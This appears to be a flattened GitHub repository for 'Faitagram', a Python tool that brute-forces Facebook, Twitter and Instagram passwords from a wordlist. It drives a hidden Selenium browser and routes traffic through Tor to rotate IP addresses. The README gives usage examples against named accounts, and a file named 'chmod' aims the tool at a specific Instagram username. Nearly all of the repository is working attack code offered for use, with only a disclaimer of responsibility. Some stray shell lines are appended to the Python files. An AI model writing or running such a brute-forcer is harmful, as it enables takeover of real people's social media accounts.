├── LICENSE ├── README.md ├── chmod ├── faitagram ├── setup.py └── wlist /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2017 Justin Chang 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Faitagram - Don't Use This (Doesn't work anymore)- 2 | A Bruter for FAcebook, twITter, and InstAGRAM. Made with python, developed from brut3k1t. 3 | 4 | [You will need python!] 5 | 6 | CREDIT: 7 | 8 | This project was developed from brut3k1t,which was made by ex0dus-0x. 9 | Here is the page : https://github.com/ex0dus-0x/brut3k1t 10 | Since this script was not functionning, and was not ready for a attack, so I decided to develop this program from his. 11 | 12 | 13 | I am not responsible for your action. 14 | 15 | 16 | 17 | ---------------- How To Use ---------------- 18 | 19 | Get the requirements: 20 | 21 | python setup.py 22 | 23 | Command: 24 | 25 | python faitagram -s [service] -u [username] -w [wordlist] -d [delay(Optional)] 26 | 27 | Examples: 28 | 29 | 30 | 31 | python faitagram -s facebook -u MeMeBigBoy@gmail.com -w /root/passwd.txt -d 10 32 | 33 | (Execute faitagram) (facebook) (Email of the target) (wordlist path) (delay[10secs]) 34 | 35 | 36 | python faitagram -s instagram -u justin -w wlist 37 | 38 | (Execute faitagram) (Instagram) (username) (wordlist) 39 | 40 | 41 | python faitagram -s twitter -u hellohahahha -w wlist -d 3 42 | 43 | (Execute faitagram) (Twitter) (Username) (wordlist) (delay[3secs]) 44 | 45 | 46 | Memorize: 47 | 48 | -s, -u, -w parameters are musts, and -d is optional. 49 | 50 | -d in default is 1 sec. 51 | 52 | In facebook, you would have to type the email in the -u. 53 | 54 | In facebook, the script will ask you the Name of the target. 55 | 56 | Specific tutorial will be on NullByte, I would put a link after I make a tutorial: 57 | 58 | https://null-byte.wonderhowto.com/forum/hacking-facebook-twitter-instagram-account-passwords-with-bruteforce-0181808/ 59 | 60 | How it works: 61 | 62 | This script uses selenium web driver, and Xvfb and pyvirtualdisplay to make the web driver invisible so you can keep doing work, this script also uses STEM as the proxy. 63 | -------------------------------------------------------------------------------- /chmod: -------------------------------------------------------------------------------- 1 | https://github.com/Juniorn1003/Faitagram.git 2 | python setup.py 3 | python faitagram -s instagram -u aras.iroobashin -w wlists -d delay 4 | -------------------------------------------------------------------------------- /faitagram: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | import argparse, mechanize, os, sys, socks, socket 3 | from time import sleep 4 | from subprocess import call 5 | from selenium import webdriver 6 | from selenium.webdriver.common.keys import Keys 7 | from selenium.webdriver.support.ui import WebDriverWait 8 | from pyvirtualdisplay import Display 9 | from urllib import urlopen 10 | 11 | reload(sys) 12 | 13 | sys.setdefaultencoding('utf8') 14 | 15 | 16 | W = '\033[0m' # White 17 | R = '\033[31m' # Red 18 | G = '\033[32m' # Green 19 | O = '\033[33m' # Orange 20 | 21 | 22 | def main(): 23 | 24 | parser = argparse.ArgumentParser(description='Bruteforce framework written in Python') # Parameters 25 | required = parser.add_argument_group('required arguments') 26 | required.add_argument('-s', '--service', dest='service') 27 | required.add_argument('-u', '--username', dest='username') 28 | required.add_argument('-w', '--wordlist', dest='password') 29 | parser.add_argument('-d', '--delay', type=int, dest='delay') 30 | 31 | args = parser.parse_args() 32 | 33 | global fb_name, service 34 | 35 | service = args.service 36 | username = args.username 37 | wordlist = args.password 38 | delay = args.delay 39 | 40 | 41 | if os.path.exists(wordlist) == False: 42 | 43 | print(R + "Error : WordList not Found" + W) 44 | 45 | exit(1) 46 | 47 | 48 | if delay is None: 49 | 50 | delay = 1 51 | 52 | os.system("clear") 53 | 54 | if service == "facebook": 55 | 56 | fb_name = raw_input(O + "Please Enter The NAME Of The Facebook Account : " + W) 57 | 58 | os.system("clear") 59 | 60 | 61 | os.system("/etc/init.d/tor restart && rm -rf tmp/ geckodriver.log") # restarting tor & removing geckodriver log 62 | 63 | Bruter(service, username, wordlist, delay).execute() 64 | 65 | 66 | class Bruter(object): 67 | 68 | 69 | def __init__(self, service, username, wordlist, delay): 70 | 71 | self.service = service 72 | 73 | self.username = username 74 | 75 | self.wordlist = wordlist 76 | 77 | self.delay = delay 78 | 79 | 80 | def stopTOR(self): # Stoping Tor 81 | 82 | os.system("rm -rf tmp/ geckodriver.log && service tor stop") 83 | 84 | exit(1) 85 | 86 | 87 | def execute(self): # Connection Between def main() 88 | 89 | if self.usercheck(self.username, self.service) == 1: 90 | 91 | print("[ " + R + "Error" + W + " ]" + " Username Does not Exist\n" + W) 92 | 93 | exit(1) 94 | 95 | print("[ " + G + "ok" + W + " ]" + " Checking Account Existence\n") 96 | 97 | self.webBruteforce(self.username, self.wordlist, self.service, self.delay) 98 | 99 | 100 | def usercheck(self, username, service): # Checking Username 101 | 102 | display = Display(visible=0, size=(800, 600)) # Pyvirtual display starting 103 | 104 | display.start() 105 | 106 | driver = webdriver.Firefox() 107 | 108 | try: 109 | 110 | if service == "facebook": 111 | 112 | driver.get("https://www.facebook.com/public/" + fb_name) 113 | 114 | assert (("We couldn't find anything for") not in driver.page_source) 115 | 116 | driver.quit() 117 | 118 | os.system("clear && /etc/init.d/tor restart") 119 | 120 | elif service == "twitter": 121 | 122 | driver.get("https://www.twitter.com/" + username) 123 | 124 | assert (("Sorry, that page doesn’t exist!") not in driver.page_source) 125 | 126 | driver.quit() 127 | 128 | elif service == "instagram": 129 | 130 | driver.get("https://instagram.com/" + username) 131 | 132 | assert (("Sorry, this page isn't available.") not in driver.page_source) 133 | 134 | driver.quit() 135 | 136 | except AssertionError: 137 | 138 | return 1 139 | 140 | 141 | 142 | 143 | def webBruteforce(self, username, wordlist, service, delay): 144 | 145 | print("\n- Bruteforce starting ( Delay = %s sec ) -\n" % self.delay) 146 | 147 | driver = webdriver.Firefox() 148 | 149 | wordlist = open(wordlist, 'r') 150 | 151 | for i in wordlist.readlines(): 152 | 153 | password = i.strip("\n") 154 | 155 | try: 156 | 157 | driver = webdriver.Firefox() 158 | 159 | if service == "facebook": 160 | 161 | driver.get("https://touch.facebook.com/login?soft=auth/") 162 | 163 | WebDriverWait(driver, 30).until(lambda d: d.execute_script('return document.readyState') == 'complete') 164 | 165 | elem = driver.find_element_by_name("email") 166 | 167 | elif service == "twitter": 168 | 169 | driver.get("https://mobile.twitter.com/session/new") 170 | 171 | WebDriverWait(driver, 30).until(lambda d: d.execute_script('return document.readyState') == 'complete') 172 | 173 | elem = driver.find_element_by_name("session[username_or_email]") 174 | 175 | elif service == "instagram": 176 | 177 | driver.get("https://www.instagram.com/accounts/login/?force_classic_login") 178 | 179 | WebDriverWait(driver, 30).until(lambda d: d.execute_script('return document.readyState') == 'complete') 180 | 181 | elem = driver.find_element_by_name("username") 182 | 183 | elem.clear() 184 | elem.send_keys(username) 185 | 186 | if service == "facebook": 187 | 188 | elem = driver.find_element_by_name("pass") 189 | 190 | elif service == "twitter": 191 | 192 | elem = driver.find_element_by_name("session[password]") 193 | 194 | elif service == "instagram": 195 | 196 | elem = driver.find_element_by_name("password") 197 | 198 | elem.clear() 199 | elem.send_keys(password) 200 | elem.send_keys(Keys.RETURN) 201 | 202 | 203 | if service == "facebook": 204 | 205 | assert (("Log into Facebook | Facebook") in driver.title) 206 | 207 | elif service == "twitter": 208 | 209 | if driver.current_url == "https://mobile.twitter.com/home": 210 | 211 | print(G + (" Username: {} \t| Password found: {} \n".format(username,password)) + W) 212 | 213 | driver.quit() 214 | 215 | self.stopTOR() 216 | 217 | elif service == "instagram": 218 | 219 | assert (("Log in — Instagram") in driver.title) 220 | 221 | 222 | driver.quit() 223 | 224 | my_ip = urlopen("http://ip.42.pl/raw").read() 225 | 226 | socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, "127.0.0.1", 9050, True) 227 | socket.socket = socks.socksocket 228 | 229 | print(O + (" Password: {} \t| Failed \t| IP : {} \n ".format(password,my_ip)) + W) 230 | 231 | sleep(delay) 232 | 233 | except AssertionError: 234 | 235 | print(G + (" Username: {} \t| Password found: {}\n".format(username,password)) + W) 236 | 237 | driver.quit() 238 | 239 | self.stopTOR() 240 | 241 | except Exception as e: 242 | 243 | print(R + ("\nError : {}".format(e)) + W) 244 | 245 | driver.quit() 246 | 247 | self.stopTOR() 248 | 249 | 250 | if __name__ == '__main__': 251 | 252 | try: 253 | 254 | main() 255 | 256 | except KeyboardInterrupt: 257 | 258 | print(R + "\nError : Keyboard Interrupt" + W) 259 | 260 | os.system("rm -rf tmp/ geckodriver.log && service tor stop") 261 | 262 | exit(1) 263 | python setup.py 264 | -------------------------------------------------------------------------------- /setup.py: -------------------------------------------------------------------------------- 1 | import os, math, sys 2 | 3 | #OS_bit = (round(math.log(sys.maxint,2)+1)) # get the bit 4 | 5 | os.system("sudo apt-get install python-pip && sudo apt-get install tor") # installing dependencies 6 | os.system("pip install -U selenium") 7 | os.system("pip install Pysocks") 8 | os.system("pip install pyvirtualdisplay && apt-get install xvfb") 9 | 10 | #print("\n \n {} \n \n".format(OS_bit)) 11 | 12 | 13 | os.system('firefox -v > tmp') # store result of firefox -v in tmp 14 | result = open('tmp', 'r').read() # result var reads the output 15 | marker = result.find('Firefox') + 8 # marker marks the 8th letter from the word "Firefox" 16 | version = result[marker:].splitlines()[0] # spliting the output, the version is something like aa.bb.cc 17 | a,b,c = version.split(".") # a is the var with the aa 18 | os.remove('tmp') # removing the temporary file 19 | 20 | FirefoxVersion = int(a) 21 | second = 0 22 | 23 | if FirefoxVersion < 53: 24 | 25 | first = 16 26 | second = 1 27 | OS_bit = 64 28 | 29 | elif FirefoxVersion == 53 or FirefoxVersion == 54: 30 | 31 | first = 18 32 | 33 | elif FirefoxVersion > 54: 34 | 35 | first = 19 36 | 37 | os.system("wget https://github.com/mozilla/geckodriver/releases/download/v0.{}.{}/geckodriver-v0.{}.{}-linux{}.tar.gz".format(first,second,first,second,OS_bit)) 38 | os.system("tar -xvzf geckodriver-v0.{}.{}-linux{}.tar.gz".format(first,second,OS_bit)) 39 | os.system("rm geckodriver-v0.{}.{}-linux{}.tar.gz".format(first,second,OS_bit)) 40 | os.system("chmod +x geckodriver") 41 | os.system("mv geckodriver /usr/local/bin/") 42 | chmod +x faitagram && chmod +x setup.py 43 | --------------------------------------------------------------------------------